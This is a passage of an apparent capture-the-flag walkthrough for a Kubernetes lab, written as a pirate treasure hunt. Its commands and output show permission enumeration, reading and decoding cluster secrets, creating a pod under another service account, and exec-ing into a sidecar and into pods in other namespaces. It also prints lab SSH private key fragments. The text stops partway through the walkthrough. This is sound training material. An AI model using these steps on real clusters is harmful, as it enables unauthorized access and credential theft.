- Learning Outcomes
- Challenge Description
- Guided Walkthrough
- Step 1: Enumerating internal and external resources
- Step 2: Accessing secrets and obtaining the second piece of the map
- Step 3: Deploying a pod in the South-Atlantic and accessing a sidecar container
- Step 4: Access the whydah-galley pod and discover the fourth piece of the map
- Step 5: Enumerating the Indian Ocean and modifing the network policy
- Step 6: Exploiting the crack-in-hull service and obtaining the fifth piece of the map
- Step 7: Using a deployment in the South Pacific and adhering to Pod Security Standards
- Step 8: Obtaining the sixth piece of the map and ssh into the Royal Fortune
- Step 9: Escaping the Royal Fortune and obtaining the last flag
- Remediation and Security Considerations
The purpose of Seven Seas is to teach participants about the fundamentals of Kubernetes and containers. This includes:
- Understanding how to enumerate a Kubernetes cluster and using kubectl
- Learn more about different Kubernetes resources and how they can be abused
- Different security controls and how they can be applied to restrict access
- The importance of restricting the permissions to running containers
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣄⣠⣀⡀⣀⣠⣤⣤⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣄⢠⣠⣼⣿⣿⣿⣟⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠀⠀⠀⢠⣤⣦⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠰⢦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⣟⣾⣿⣽⣿⣿⣅⠈⠉⠻⣿⣿⣿⣿⣿⡿⠇⠀⠀⠀⠀⠀⠉⠀⠀⠀⠀⠀⢀⡶⠒⢉⡀⢠⣤⣶⣶⣿⣷⣆⣀⡀⠀⢲⣖⠒⠀⠀⠀⠀⠀⠀⠀
⢀⣤⣾⣶⣦⣤⣤⣶⣿⣿⣿⣿⣿⣿⣽⡿⠻⣷⣀⠀⢻⣿⣿⣿⡿⠟⠀⠀⠀⠀⠀⠀⣤⣶⣶⣤⣀⣀⣬⣷⣦⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣦⣤⣦⣼⣀⠀
⠈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠛⠓⣿⣿⠟⠁⠘⣿⡟⠁⠀⠘⠛⠁⠀⠀⢠⣾⣿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠏⠙⠁
⠀⠸⠟⠋⠀⠈⠙⣿⣿⣿⣿⣿⣿⣷⣦⡄⣿⣿⣿⣆⠀⠀⠀⠀⠀⠀⠀⠀⣼⣆⢘⣿⣯⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡉⠉⢱⡿⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣟⡿⠦⠀⠀⠀⠀⠀⠀⠀⠙⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⡗⠀⠈⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⣿⣉⣿⡿⢿⢷⣾⣾⣿⣞⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠋⣠⠟⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣿⣿⣿⠿⠿⣿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣾⣿⣿⣷⣦⣶⣦⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⠈⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠻⣿⣤⡖⠛⠶⠤⡀⠀⠀⠀⠀⠀⠀⠀⢰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁⠙⣿⣿⠿⢻⣿⣿⡿⠋⢩⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠧⣤⣦⣤⣄⡀⠀⠀⠀⠀⠀⠘⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠘⣧⠀⠈⣹⡻⠇⢀⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣤⣀⡀⠀⠀⠀⠀⠀⠀⠈⢽⣿⣿⣿⣿⣿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠹⣷⣴⣿⣷⢲⣦⣤⡀⢀⡀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣿⣿⣿⣿⣿⣿⠟⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣷⢀⡄⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠂⠛⣆⣤⡜⣟⠋⠙⠂⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣿⣿⣿⠟⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣿⣿⠉⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣤⣾⣿⣿⣿⣿⣆⠀⠰⠄⠀⠉⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⣿⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⠿⠿⣿⣿⣿⠇⠀⠀⢀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⡿⠛⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢻⡇⠀⠀⢀⣼⠗⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠃⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠁⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠒⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
Captain Hλ$ħ𝔍Ⱥ¢k previously navigated the Seven Seas to locate the fabled pirate ship the "Royal Fortune".
Located deep within the ship is wondrous treasure but to access it you will need to find all the missing map pieces.
Time to set sail and use your knowledge of Kubernetes and Containers to master all the oceans.
The first step is to enumerate resources we have access to from our initial starting point. We'll start by enumerating internal resources and can see that we have the user swashbyter
on a host called fancy
. If we look at the /home
directory for the user we discover a couple of files.
swashbyter@fancy:~$ ls -la
total 32
drwxr-xr-x 1 swashbyter swashbyter 4096 Aug 23 08:01 .
drwxr-xr-x 1 root root 4096 Aug 23 07:55 ..
-rw-r--r-- 1 swashbyter swashbyter 220 Aug 5 14:57 .bash_logout
-rw-r--r-- 1 swashbyter swashbyter 3526 Aug 5 14:57 .bashrc
-rw-r--r-- 1 swashbyter swashbyter 807 Aug 5 14:57 .profile
-rw-rw---- 1 swashbyter swashbyter 800 Aug 18 13:58 diary.md
-rw-rw---- 1 swashbyter swashbyter 624 Aug 18 13:58 treasure-map-1
-rw-rw---- 1 swashbyter swashbyter 587 Aug 18 13:58 treasure-map-7
The diary.md
file contains a couple of entries that are interesting. The first is a reference to a treasure map which we have access to treasure-map-1
and treasure-map-7
but need to find the remaining pieces by "sailing the seven seas". The pieces of the treasure-map seem to be a ssh key which when complete will allow us to ssh into the Royal Fortune.
The second reference is to the "Path of the Pirate" which shows the way to follow to find each piece of the map. We can view the "Path of the Pirate" by the following command and viewing it on localhost:8080
ssh -F cp_simulator_config -L 8080:localhost:8080 -N bastion
From this we can see we need to travel from the Arctic Ocean to North Pacific Ocean, navigating through different seas to find the remaining pieces of the map. So we've found local user files, let's look for some other files which we can use. Using env
we can see that we are in Kubernetes cluster and likely to be in a container.
swashbyter@fancy:~$ env
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_SERVICE_PORT=443
THE_WAY_SERVICE_PORT=80
HOSTNAME=fancy
THE_WAY_PORT=tcp://10.98.238.103:80
THE_WAY_PORT_80_TCP=tcp://10.98.238.103:80
PWD=/home/swashbyter
THE_WAY_PORT_80_TCP_ADDR=10.98.238.103
HOME=/home/swashbyter
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=00:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.avif=01;35:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.webp=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:*~=00;90:*#=00;90:*.bak=00;90:*.old=00;90:*.orig=00;90:*.part=00;90:*.rej=00;90:*.swp=00;90:*.tmp=00;90:*.dpkg-dist=00;90:*.dpkg-old=00;90:*.ucf-dist=00;90:*.ucf-new=00;90:*.ucf-old=00;90:*.rpmnew=00;90:*.rpmorig=00;90:*.rpmsave=00;90:
TERM=xterm
SHLVL=1
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
THE_WAY_PORT_80_TCP_PORT=80
KUBERNETES_SERVICE_HOST=10.96.0.1
KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
THE_WAY_PORT_80_TCP_PROTO=tcp
THE_WAY_SERVICE_HOST=10.98.238.103
OLDPWD=/
_=/usr/bin/env
As we are in a container in a Kubernetes cluster, we can look at our service account token and see what permissions it has. The service account token is located in standard location which is /var/run/secrets/kubernetes.io/serviceaccount/
.
swashbyter@fancy:~$ ls -al /var/run/secrets/kubernetes.io/serviceaccount/
total 4
drwxrwxrwt 3 root root 140 Nov 20 11:36 .
drwxr-xr-x 3 root root 4096 Nov 20 10:00 ..
drwxr-xr-x 2 root root 100 Nov 20 11:36 ..2023_11_20_11_36_52.676137219
lrwxrwxrwx 1 root root 31 Nov 20 11:36 ..data -> ..2023_11_20_11_36_52.676137219
lrwxrwxrwx 1 root root 13 Nov 20 09:59 ca.crt -> ..data/ca.crt
lrwxrwxrwx 1 root root 16 Nov 20 09:59 namespace -> ..data/namespace
lrwxrwxrwx 1 root root 12 Nov 20 09:59 token -> ..data/token
If we have kubectl
installed the binary will use token specified in this directory for authentication.
swashbyter@fancy:~$ which kubectl
/usr/bin/kubectl
Excellent. Let's use auth can-i
to see what permissions we have.
swashbyter@fancy:~$ kubectl auth can-i --list
Resources Non-Resource URLs Resource Names Verbs
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
namespaces [] [] [get list]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
The only noticeable permission we have is the ability to list namespaces. Let's see what namespaces we have access to.
swashbyter@fancy:~$ kubectl get namespaces
NAME STATUS AGE
arctic Active 122m
default Active 123m
indian Active 122m
kube-node-lease Active 123m
kube-public Active 123m
kube-system Active 123m
kyverno Active 122m
north-atlantic Active 122m
north-pacific Active 122m
south-atlantic Active 122m
south-pacific Active 122m
southern Active 122m
We can see that we have access to a number of namespaces but signficantly we can see the "Seven Seas" specified as namespaces. Let's see what resources we have access to in the arctic namespace.
swashbyter@fancy:~$ kubectl auth can-i --list -n arctic
Resources Non-Resource URLs Resource Names Verbs
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
namespaces [] [] [get list]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
This looks the same permissions we have in the default namespace, if we see access to namespaces specified for another namespace, it is good chance we have cluster wide permissions to get
and list
. There is nothing special, so let's start where the "Path-of-the-Pirate" specifies, the North Atlantic Ocean.
swashbyter@fancy:~$ kubectl auth can-i --list -n north-atlantic
Resources Non-Resource URLs Resource Names Verbs
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
namespaces [] [] [get list]
secrets [] [] [get list]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
This time we can see we have permissions to get
and list
secrets in the north-atlantic
namespace.
We can access the secret by the following command:
swashbyter@fancy:~$ kubectl get secrets -n north-atlantic
NAME TYPE DATA AGE
treasure-map-2 Opaque 1 178m
Kubernetes secrets are stored as base64 encoded strings. We access the content of the secret by outputting to json
or yaml
format.
swashbyter@fancy:~$ kubectl get secrets treasure-map-2 -n north-atlantic -oyaml
apiVersion: v1
data:
treasure-map-2: VHlSWU1OMzRaSkEvSDlBTk4wQkZHVTFjSXNvSFYwWGpzanVSZi83V0duY2tWY1lBcTNMbzBCL0ZaVFFGWm41Tk1OenE5UQplejdvZ1RyMmNLalNXNVh5VlBsdmdnc0Q5dHJ4ZkFoOSttNEN3cWpBMWN0c1RBVG1pQUZxVzJxNU1KSG51bXNrSGZBUzFvCkY5RWF3ZEExNkJQRFF3U3Rma2pkYS9rQjNyQWhDNWUrYlFJcUZydkFpeFUramh3c2RRVS9MVitpWjZYUmJybjBUL20wZTQKUytGT2t6bDhUTkZkOTFuK01BRFd3dktzTmd6TXFWZkwwL1NXRGlzaXM0U2g1NFpkYXB0VVM2MG5rTUlnWDNzUDY1VUZYRQpESWpVSjkzY1F2ZkxZMFc0ZWVIcllhYzJTWjRqOEtlU0g4d2ZsVFVveTg4T2NGbDdmM0pQM29KMU1WVkZWckg4TDZpTlNMCmNBQUFkSXp5cWlVczhxb2xJQUFBQUhjM05vTFhKellRQUFBZ0VBc05vd1A4amxGZUIrUUEzTGY1bkREa3pBODA5OW9PTzIKOGU3bEdlVHNrNjFtRGpRa3JIc1FneGt4YjBRcEJVTW9leGl2Y3BLWGt3bStuU0x4YmpVbjVJVzhURlloL3lneWtXOFViTQ==
kind: Secret
metadata:
annotations:
kubectl.kubernetes.io/last-applied-configuration: |
{"apiVersion":"v1","data":{"treasure-map-2":"VHlSWU1OMzRaSkEvSDlBTk4wQkZHVTFjSXNvSFYwWGpzanVSZi83V0duY2tWY1lBcTNMbzBCL0ZaVFFGWm41Tk1OenE5UQplejdvZ1RyMmNLalNXNVh5VlBsdmdnc0Q5dHJ4ZkFoOSttNEN3cWpBMWN0c1RBVG1pQUZxVzJxNU1KSG51bXNrSGZBUzFvCkY5RWF3ZEExNkJQRFF3U3Rma2pkYS9rQjNyQWhDNWUrYlFJcUZydkFpeFUramh3c2RRVS9MVitpWjZYUmJybjBUL20wZTQKUytGT2t6bDhUTkZkOTFuK01BRFd3dktzTmd6TXFWZkwwL1NXRGlzaXM0U2g1NFpkYXB0VVM2MG5rTUlnWDNzUDY1VUZYRQpESWpVSjkzY1F2ZkxZMFc0ZWVIcllhYzJTWjRqOEtlU0g4d2ZsVFVveTg4T2NGbDdmM0pQM29KMU1WVkZWckg4TDZpTlNMCmNBQUFkSXp5cWlVczhxb2xJQUFBQUhjM05vTFhKellRQUFBZ0VBc05vd1A4amxGZUIrUUEzTGY1bkREa3pBODA5OW9PTzIKOGU3bEdlVHNrNjFtRGpRa3JIc1FneGt4YjBRcEJVTW9leGl2Y3BLWGt3bStuU0x4YmpVbjVJVzhURlloL3lneWtXOFViTQ=="},"kind":"Secret","metadata":{"annotations":{},"name":"treasure-map-2","namespace":"north-atlantic"},"type":"Opaque"}
creationTimestamp: "2023-11-20T09:59:53Z"
name: treasure-map-2
namespace: north-atlantic
resourceVersion: "924"
uid: e87e2cd0-a1d2-42dd-beb6-79dc34228d40
type: Opaque
If you know the data label for the secret, then a single command can be used to decode the secret.
swashbyter@fancy:~$ kubectl get secrets treasure-map-2 -n north-atlantic -ojson | jq -Mr '.data."treasure-map-2"' | base64 -d
TyRYMN34ZJA/H9ANN0BFGU1cIsoHV0XjsjuRf/7WGnckVcYAq3Lo0B/FZTQFZn5NMNzq9Q
ez7ogTr2cKjSW5XyVPlvggsD9trxfAh9+m4CwqjA1ctsTATmiAFqW2q5MJHnumskHfAS1o
F9EawdA16BPDQwStfkjda/kB3rAhC5e+bQIqFrvAixU+jhwsdQU/LV+iZ6XRbrn0T/m0e4
S+FOkzl8TNFd91n+MADWwvKsNgzMqVfL0/SWDisis4Sh54ZdaptUS60nkMIgX3sP65UFXE
DIjUJ93cQvfLY0W4eeHrYac2SZ4j8KeSH8wflTUoy88OcFl7f3JP3oJ1MVVFVrH8L6iNSL
cAAAdIzyqiUs8qolIAAAAHc3NoLXJzYQAAAgEAsNowP8jlFeB+QA3Lf5nDDkzA8099oOO2
8e7lGeTsk61mDjQkrHsQgxkxb0QpBUMoexivcpKXkwm+nSLxbjUn5IW8TFYh/ygykW8UbM
At this point, it is worth building the treasure map. It is recommended to do this off the instance in the event that the connection is terminated or if the pod is restarted.
# treasure_map_1
-----BEGIN OPENSSH PRIVATE KEY-----
b3Blbn...
# treasure_map_2
TyRYMN34ZJA...
# treasure_map_7
...TIyAQ==
-----END OPENSSH PRIVATE KEY-----
With the North Atlantic conquered, we can turn our attention to the South Atlantic. Let's enumerate our permission in the south-atlantic
namespace.
swashbyter@fancy:~$ kubectl auth can-i --list -n south-atlantic
Resources Non-Resource URLs Resource Names Verbs
pods/exec [] [] [create delete get list patch update watch]
pods [] [] [create delete get list patch update watch]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
namespaces [] [] [get list]
serviceaccounts [] [] [get list]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
Three permissions are interesting here. Firstly, we have full permissions over pods
and pods/exec
which means we can create pods and execute commands in them. Secondly, we have permissions to get
and list
service accounts which is interesting as there potentially is a service account we want to use for our deployed pod. If we enumerate the service accounts within the namespace we can see that there is a service account called the-way
.
swashbyter@fancy:~$ kubectl get serviceaccounts -n south-atlantic
NAME SECRETS AGE
default 0 3h24m
invader 0 3h24m
The invader service account seems interesting but without permissions to view roles and role-bindings it is hard to determine what it has access to. Let's deploy a pod in the south-atlantic
namespace and see what we can do.
apiVersion: v1
kind: Pod
metadata:
name: invader
namespace: south-atlantic
spec:
serviceAccountName: invader
containers:
- image: docker.io/controlplaneoffsec/kubectl:latest
command: ["sleep", "2d"]
name: tools
imagePullPolicy: IfNotPresent
securityContext:
allowPrivilegeEscalation: false
We can apply the configuration via:
swashbyter@fancy:~$ kubectl apply -f pod.yaml
pod/invader created
If we view the running pod we notice something stange...
swashbyter@fancy:~$ kubectl get pods -n south-atlantic
NAME READY STATUS RESTARTS AGE
invader 2/2 Running 0 12s
We only specified one container but there is two containers running. Let's look at the pod specification to understand this a little bit better.
swashbyter@fancy:~$ kubectl get pods invader -n south-atlantic -oyaml
Highlighted below are interesting parts of the outputted specification:
- We see there is annotation add sidecar container via Kyverno
- We can see that sidecar container is called
blockade-ship
apiVersion: v1
kind: Pod
metadata:
annotations:
...
policies.kyverno.io/last-applied-patches: |
add-sidecar.add-sidecar.kyverno.io: added /spec/containers/0
spec:
containers:
- command:
- sleep
- 2d
image: docker.io/controlplaneoffsec/seven-seas:blockade-ship
imagePullPolicy: IfNotPresent
name: blockade-ship
...
Note: A sidecar container is used in this scenario to demostrate that Kyverno can be used to inject additional containers to a pod. The sidecar pattern is useful for applying a level of consistency to pods on admission such as specific labels or offloading encryption and decryption tasks.
Rather than exec
into our newly created container, let's see if we can exec
into the sidecar container.
swashbyter@fancy:~$ kubectl exec -c blockade-ship -it invader -n south-atlantic -- /bin/sh
/ #
Excellent we have local access to the blockade-ship
. Enumerating the file system, one directory sticks out contraband
. Within the directory we find our third piece of the map.
/contraband # cat treasure-map-3 | base64 -d
qnuLMQ+cRv2W0dxz8u2YjLn2yqDy8lHscr5QUoULSOEVTtp1BLDBIg+xI3TrycehuV9Qak
3WkmEn1WXQcdYKhMKDtOdo1XVWNNq7XumsDAavpgT2ykq+hp8ENIUzjgIfSa7fEhC3d2kF
B7WLMTPmA1RcO0/D3SdUZwkZ/1qlxn7c0L6doW/7REbp31JKOzHyurDrs/mFpi4QyhYsfI
aWtn1cKqSW5MumiWJi4bTyRYMN34ZJA/H9ANN0BFGU1cIsoHV0XjsjuRf/7WGnckVcYAq3
Lo0B/FZTQFZn5NMNzq9Qez7ogTr2cKjSW5XyVPlvggsD9trxfAh9+m4CwqjA1ctsTATmiA
FqW2q5MJHnumskHfAS1oF9EawdA16BPDQwStfkjda/kB3rAhC5e+bQIqFrvAixU+jhwsdQ
U/LV+iZ6XRbrn0T/m0e4S+FOkzl8TNFd91n+MADWwvKsNgzMqVfL0/SWDisis4Sh54Zdap
Now we've got the third piece of the map, let's exec
into our original container and see what permissions the service account has, specifically in the southern
namespace.
swashbyter@fancy:~$ kubectl exec -c tools -it invader -n south-atlantic -- /bin/bash
root@invader:~# kubectl auth can-i --list -n southern
Resources Non-Resource URLs Resource Names Verbs
pods/exec [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
pods [] [] [get list]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
From the output of the command, the service account has permissions to get
and list
pods and create
pods/exec. This combination allows us to spawn a new process in a container in a pod within the southern
namespace.
If we enumerate pods within the southern
namespace we can see that there is a pod called whydah-galley
.
Let's run the exec
command again and see if we can access the whydah-galley
pod.
root@invader:~# kubectl exec -it whydah-galley -n southern -- /bin/bash
root@whydah-galley:/#
We are in! Enumerating the file system we find something interesting in the /mnt
directory.
root@whydah-galley:/mnt# ls -la
total 12
drwxr-xr-x 3 root root 4096 Nov 20 09:59 .
drwxr-xr-x 1 root root 4096 Nov 20 10:00 ..
drwxr-xr-x 13 root root 4096 Nov 20 09:59 .cache
root@whydah-galley:/mnt# cd .cache
root@whydah-galley:/mnt/.cache# ls -la
total 52
drwxr-xr-x 13 root root 4096 Nov 20 09:59 .
drwxr-xr-x 3 root root 4096 Nov 20 09:59 ..
drwxr-xr-x 3 root root 4096 Nov 20 09:59 bow
drwxr-xr-x 2 root root 4096 Nov 20 09:59 bowsprit
drwxr-xr-x 3 root root 4096 Nov 20 09:59 crows-nest
drwxr-xr-x 4 root root 4096 Nov 20 09:59 forecastle
drwxr-xr-x 2 root root 4096 Nov 20 09:59 helm
drwxr-xr-x 2 root root 4096 Nov 20 09:59 hold
drwxr-xr-x 2 root root 4096 Nov 20 09:59 hull
drwxr-xr-x 2 root root 4096 Nov 20 09:59 poop-deck
drwxr-xr-x 2 root root 4096 Nov 20 09:59 ratlines
drwxr-xr-x 2 root root 4096 Nov 20 09:59 stern
drwxr-xr-x 2 root root 4096 Nov 20 09:59 yardarm
Within the .cache
directory we find a number of directories which are named after parts of a ship. Within the forecastle we find the treasure-map-4
.
root@whydah-galley:/mnt/.cache# cat forecastle/secret-compartment/treasure-map-4 | base64 -d
tUS60nkMIgX3sP65UFXEDIjUJ93cQvfLY0W4eeHrYac2SZ4j8KeSH8wflTUoy88OcFl7f3
JP3oJ1MVVFVrH8L6iNSLcAAAADAQABAAACAACqSW0r/cSXzBHEm4PW2bd3jXA8182fnaQK
UH1I8aTajZw3EP4/FkBP+3IeMQNOjdvsq1hEeeJ5MmjX5U2TUJuY7yzgVA9oIMyQPOTt3D
SjI8i0tvD76pVBxRTXYWCvoXIeLMcRW7ZoTw8Cptgk2CH9eNLKTKp1FpUqu3HwIZ/CzyLw
Ds8Z/pWp/a/L4kFye6iRfocZMQUY0ZVubSrZ1zvlPjdRT/ix4BdECv/FskF72zJ2WBFR5C
zgu41MAldJVahvORfs1GaP0fY6k79+unE+O0Dp9inuWSoynW1cFjAffy09Bcsv53l+I+BV
oZXZvhc5nXtEAnCRUtP44IYKh7EjiJpY+iUibjjkElox2TlgYBRpMwKRuq/Fw3l2vBK8fO
If we enumerate further we find the first flag.
root@whydah-galley:/mnt/.cache# cat crows-nest/flag | base64 -d
flag_ctf{BOARDED_THE_NEFARIOUS_SHIP_WHY_DAH_DO_THAT}
According to the "Path of the Pirate" we need to head to the Indian Ocean. Let's enumerate our permissions in the indian
namespace.
root@whydah-galley:/# kubectl auth can-i --list -n indian
Resources Non-Resource URLs Resource Names Verbs
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
